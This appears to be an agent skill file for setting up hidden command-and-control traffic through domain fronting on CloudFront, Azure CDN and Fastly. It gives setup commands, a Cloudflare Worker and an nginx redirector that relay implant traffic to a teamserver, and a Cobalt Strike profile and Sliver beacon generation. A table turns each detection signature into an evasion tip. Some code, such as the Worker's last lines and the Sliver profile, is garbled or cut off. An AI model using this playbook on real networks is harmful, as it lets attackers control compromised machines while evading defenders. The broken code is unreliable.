| name | c2-domain-fronting |
| description | Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"command-and-control","when_to_use":"domain fronting, CDN c2, cloudfront c2, azure cdn, fastly, SNI mismatch, cdn redirector, fronting profile","tags":"c2, domain-fronting, cdn, cloudfront, azure-cdn, fastly, sni, redirector, opsec","mitre_attack":"T1090.004, T1102.002, T1001"} |
Domain Fronting & CDN Abuse for C2
Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.
Quick Reference
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|---|
| Proxy: Domain Fronting | T1090.004 | CDN-based SNI/Host header mismatch for C2 |
| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |
| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |
1. The Domain Fronting Technique
How It Works
┌─────────┐ TLS SNI: allowed.example.com ┌──────────┐
│ Implant │ ─────────────────────────────────► │ CDN │
│ │ Host: c2.attacker.cloudfront.net │ Edge │
└─────────┘ └────┬─────┘
│ Routes by Host header
▼
┌──────────┐
│ C2 Origin│
│ Server │
└──────────┘
TLS layer (visible to network monitor):
- SNI =
allowed.example.com (high-reputation domain on same CDN)
- Certificate = CDN wildcard cert (e.g.,
*.cloudfront.net)
- IP = CDN edge node
HTTP layer (inside TLS, invisible to monitor):
Host: c2-distribution.cloudfront.net → CDN routes to operator's origin
Result: Blocking the C2 requires blocking the entire CDN.
Requirements
- CDN that routes by Host header (not all do — see provider matrix)
- A legitimate high-reputation domain on the same CDN for the SNI
- Operator's C2 server registered as a CDN origin/backend
- The CDN must not enforce SNI == Host (many now do)
2. CloudFront Domain Fronting
Setup
aws cloudfront create-distribution \
--origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
--default-root-object index.html \
--query 'Distribution.DomainName'
dig allowed-domain.com CNAME +short
curl -v -H "Host: d1234abcdef.cloudfront.net" \
https://allowed-domain.com/beacon
CloudFront Configuration
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
"CallerReference": "c2-$(date +%s)",
"Origins": {
"Items": [{
"Id": "c2-origin",
"DomainName": "<C2_ORIGIN>",
"CustomOriginConfig": {
"HTTPPort": 80,
"HTTPSPort": 443,
"OriginProtocolPolicy": "https-only"
}
}],
"Quantity": 1
},
"DefaultCacheBehavior": {
"TargetOriginId": "c2-origin",
"ViewerProtocolPolicy": "https-only",
"AllowedMethods": {
"Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
"Quantity": 7
},
"ForwardedValues": {
"QueryString": true,
"Cookies": {"Forward": "all"},
"Headers": {"Items": ["*"], "Quantity": 1}
},
"MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
},
"Enabled": true,
"Comment":
}
EOF
aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json
Current Status (CloudFront)
AWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However:
- Fronting within the same distribution (multiple CNAMEs) still works
- Fronting to distributions without custom domains may work intermittently
- CloudFront Functions can be used to rewrite headers before origin routing
3. Azure CDN Domain Fronting
Azure CDN (via Verizon/Akamai POP) has historically been more permissive with Host header routing.
Setup
az cdn profile create --name c2-cdn --resource-group <RG> --sku Standard_Verizon
az cdn endpoint create \
--name <C2_ENDPOINT> \
--profile-name c2-cdn \
--resource-group <RG> \
--origin <C2_ORIGIN> \
--origin-host-header <C2_ORIGIN>
curl -v -H "Host: <C2_ENDPOINT>.azureedge.net" \
https://ajax.aspnetcdn.com/test
Azure-Specific Notes
- Azure has been tightening validation since 2021
Standard_Microsoft SKU enforces SNI/Host matching — use Standard_Verizon
- Azure Front Door provides similar capabilities with more control
- Test each frontable domain before deployment; availability changes
4. Fastly Domain Fronting
Fastly's architecture makes fronting straightforward when a target domain shares the Fastly POP.
Setup
curl -X POST "https://api.fastly.com/service" \
-H "Fastly-Key: <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"name":"c2-service","type":"vcl"}'
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/backend" \
-H "Fastly-Key: <API_TOKEN>" \
-d "name=c2-origin&address=<C2_ORIGIN>&port=443&use_ssl=1"
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/domain" \
-H "Fastly-Key: <API_TOKEN>" \
-d "name=c2-front.global.ssl.fastly.net"
curl -X PUT "https://api.fastly.com/service/<SVC_ID>/version/<VER>/activate" \
-H "Fastly-Key: <API_TOKEN>"
curl -v -H "Host: c2-front.global.ssl.fastly.net" \
https://legitimate-customer.global.ssl.fastly.net/beacon
5. CDN-Based Redirectors
When pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors.
Cloudflare Worker Redirector
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request));
});
async function handleRequest(request) {
const C2_ORIGIN = "https://<C2_SERVER>";
const url = new URL(request.url);
if (!url.pathname.startsWith("/api/v2/")) {
return new Response("Not Found", { status: 404 });
}
const c2Url = C2_ORIGIN + url.pathname + url.search;
const modifiedRequest = new Request(c2Url, {
method: request.method,
headers: request.headers,
body: request.body
});
const response = await fetch(modifiedRequest);
modifiedResponse = (response., response);
modifiedResponse..(, );
modifiedResponse..();
modifiedResponse;
}
Nginx Redirector (On CDN Origin)
# /etc/nginx/sites-available/c2-redirect.conf
# Sits behind CDN; forwards matching requests to teamserver
server {
listen 443 ssl;
server_name <C2_ORIGIN>;
ssl_certificate /etc/letsencrypt/live/<C2_ORIGIN>/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/<C2_ORIGIN>/privkey.pem;
# Proxy Beacon traffic to teamserver
location /s/ref {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_ssl_verify off;
}
location /gp/product {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_ssl_verify off;
}
# Return legitimate content for other paths (categorization)
location / {
root /var/www/html;
index index.html;
}
}
6. Cobalt Strike Integration
Malleable C2 Profile for Domain Fronting
# /workspace/profiles/fronting.profile
set sample_name "CDN Fronting Profile";
set sleeptime "60000";
set jitter "40";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set host_stage "false";
https-certificate {
# Use the CDN's certificate — no custom cert needed
# The CDN terminates TLS; origin connection is separate
set CN "*.cloudfront.net";
set O "Amazon";
set C "US";
}
http-get {
set uri "/s/ref=nb_sb_noss_2";
client {
header "Accept" "*/*";
header "Accept-Language" "en-US,en;q=0.5";
# This is the critical header — CDN routes by it
header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
metadata {
base64url;
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Server" "CloudFront";
header "X-Cache" "Hit from cloudfront";
output {
netbios;
prepend "<!DOCTYPE html><html><body>";
append "</body></html>";
print;
}
}
}
http-post {
set uri "/api/v2/submit";
client {
header "Content-Type" "application/json";
header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
id {
base64url;
header "X-Request-Id";
}
output {
base64url;
print;
}
}
server {
header "Content-Type" "application/json";
output {
netbios;
prepend "{\"status\":\"ok\",\"payload\":\"";
append "\"}";
print;
}
}
}
Beacon Configuration
# In Cobalt Strike listener config:
# HTTPS Host (stager): <FRONTABLE_DOMAIN>
# HTTPS Host (post): <FRONTABLE_DOMAIN>
# HTTPS Port: 443
# Profile: fronting.profile (loaded at teamserver start)
#
# The listener binds on the teamserver; the CDN proxies traffic to it.
# The Beacon connects to <FRONTABLE_DOMAIN>:443 (CDN edge).
# The Host header routes to <C2_DISTRIBUTION>.cloudfront.net -> C2 origin.
7. Sliver Integration
Sliver HTTPS with Domain Fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
generate beacon --https <FRONTABLE_DOMAIN> --os windows --arch amd64 \
--seconds 60 --jitter 40 --skip-symbols \
--save /workspace/exploit/
Sliver HTTP C2 Profile for Fronting
{
"implant_config": {
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"url_parameters": [],
"headers": [
{"name": "Host", "value": "<C2_DISTRIBUTION>.cloudfront.net", "probability": 100},
{"name": "Accept", "value": "text/html", "probability": 100}
]
},
"server_config": {
"headers": [
{"name": "Content-Type", "value"
8. TLS SNI vs Host Header
TLS ClientHello (visible): SNI = allowed-site.cloudfront.net
HTTP Request (encrypted): Host: c2-dist.cloudfront.net ← CDN routes by THIS
| Failure Mode | Cause | Fix |
|---|
| HTTP 403 | CDN validates SNI == Host | Try alternate CDN or redirector |
| TLS error | SNI domain not on CDN | Verify domain resolves to CDN edge |
| HTTP 421 | HTTP/2 ORIGIN frame validation | Fall back to HTTP/1.1 |
| 502/504 | CDN can't reach C2 origin | Whitelist CDN IP ranges on origin firewall |
ECH/ESNI: Encrypted Client Hello encrypts the SNI field entirely — eliminates the need for fronting when CDN supports it. Test: curl -v --ech true https://<C2>/beacon
Detection Signatures
| Indicator | Pattern | Mitigation |
|---|
| SNI/Host mismatch | TLS SNI differs from HTTP Host header | Use CDN domains from same organization |
| CDN origin pull | Unusual origin IP in CDN access logs | Use cloud VM as origin; rotate IPs |
| JA3 fingerprint | TLS fingerprint doesn't match expected browser | Match JA3 to target browser version |
| Beacon timing | Regular HTTPS requests to CDN at fixed intervals | High jitter (50%+); randomize URI paths |
| HTTP/2 ORIGIN | CDN pushes ORIGIN frame revealing allowed hosts | Fall back to HTTP/1.1 in profile |
| Response size anomaly | C2 responses differ from legitimate content | Pad responses; prepend/append real HTML |
| Certificate transparency | CT logs reveal C2 distribution domain | Use existing CDN distributions |
Error Handling & Edge Cases
| Issue | Symptom | Resolution |
|---|
| CDN blocks fronting | HTTP 403 on every request | Switch CDN provider or use CDN redirector pattern |
| DNS resolution fails | Frontable domain doesn't resolve | Verify domain is active; check DNS propagation |
| Origin connection refused | CDN can't reach C2 backend | Ensure C2 server allows CDN IP ranges in firewall |
| TLS version mismatch | Handshake failure | Match CDN's minimum TLS version (usually 1.2+) |
| Rate limiting | CDN rate-limits requests from same IP | Increase sleep; distribute across edge POPs |
| HTTP/2 enforcement | CDN upgrades to HTTP/2; breaks fronting | Force HTTP/1.1 in profile or use h2 with correct ORIGIN |
| CDN caching | Stale C2 responses served from cache | Set Cache-Control: no-store; TTL=0 in CDN config |
| Provider policy change | Fronting stops working without warning | Monitor; maintain fallback C2 channel (DNS, alt CDN) |
Decision Gate
Is domain fronting viable for this engagement?
├── Test: curl -H "Host: <C2>.cloudfront.net" https://<FRONT_DOMAIN>/
│ ├── HTTP 200 from C2 origin → Fronting works
│ │ ├── CloudFront available → Use CloudFront + Malleable C2 profile
│ │ ├── Azure CDN available → Use azureedge.net fronting
│ │ └── Fastly available → Use Fastly global SSL fronting
│ ├── HTTP 403 → CDN enforces SNI/Host match
│ │ ├── CDN redirector pattern (Cloudflare Worker, Lambda@Edge)
│ │ ├── Same-distribution fronting (multiple CNAMEs)
│ │ └── Try alternate CDN provider
│ └── Connection error → Domain not on CDN
│ └── Use CDN redirector or direct HTTPS with categorized domain
├── ECH/ESNI available on target CDN?
│ ├── YES → ECH eliminates need for fronting; SNI is encrypted
│ └── NO → Standard fronting or redirector required
└── Fallback strategy
├── Primary: Domain fronting via CDN
├── Secondary: CDN Worker/Function redirector
└── Tertiary: Alternative C2 channel (see c2-alternative-channels)
Tools & Resources